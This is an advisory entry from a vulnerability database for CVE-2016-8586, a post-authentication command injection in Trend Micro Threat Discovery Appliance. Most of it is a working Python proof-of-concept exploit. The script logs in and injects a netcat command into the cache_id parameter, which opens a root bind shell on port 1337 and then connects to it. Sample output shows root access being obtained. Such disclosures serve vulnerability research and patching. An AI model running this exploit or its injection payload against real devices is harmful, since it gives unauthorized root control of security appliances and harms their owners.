Trend Micro Threat Discovery Appliance <= 2.6.1062r1 detected_potential_files.cgi Command Injection Remote Code Execution Vulnerability (CVE-2016-8586)

2017-04-21T00:00:00
ID SSV:92983
Type seebug
Reporter Root
Modified 2017-04-21T00:00:00

Description

Summary:

There exists a post authenticated command injection vulnerability that can be used to execute arbitrary code as root.

Notes:

  • Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was exec a bind shell using netcat.
  • Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts...

Example:

saturn:trend_micro_threat_discovery_detected_potential_files_rce mr_me$ ./poc.py (+) usage: ./poc.py <target> <pass> (+) eg: ./poc.py 172.16.175.123 admin123 saturn:trend_micro_threat_discovery_detected_potential_files_rce mr_me$ ./poc.py 172.16.175.123 admin (+) logged in... (+) starting backdoor, this will take a few secs... (+) calling backdoor! id uid=0(root) gid=0(root) uname -a Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown pwd /opt/TrendMicro/MinorityReport/www/cgi-bin exit

                                        
                                            
                                                import re
import os
import sys
import time
import requests
import threading

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 3:
    print "(+) usage: %s <target> <pass>" % sys.argv[0]
    print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
    sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
e_url = "%scgi-bin/detected_potential_files.cgi" % bu

s = requests.Session()

def exec_bd(s, e_url):
    # now we setup our backdoor
    # no reverse, since it seems to fail !?
    netcat = "|`nc -e /bin/sh -lp 1337`"
    e_url += "?act=search&cache_id=%s" % netcat
    s.get(e_url, verify=False, proxies={"http":"https://127.0.0.1:8081/"})

# first we login...
r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
    print "(+) logged in..."

    thread = threading.Thread(target=exec_bd, args=(s, e_url,))
    thread.start()

    print "(+) starting backdoor, this will take a few secs..."
    time.sleep(4)

    print "(+) calling backdoor!"
    os.system("nc %s 1337" % t)

else:
    print "(-) login failed"
    sys.exit(-1)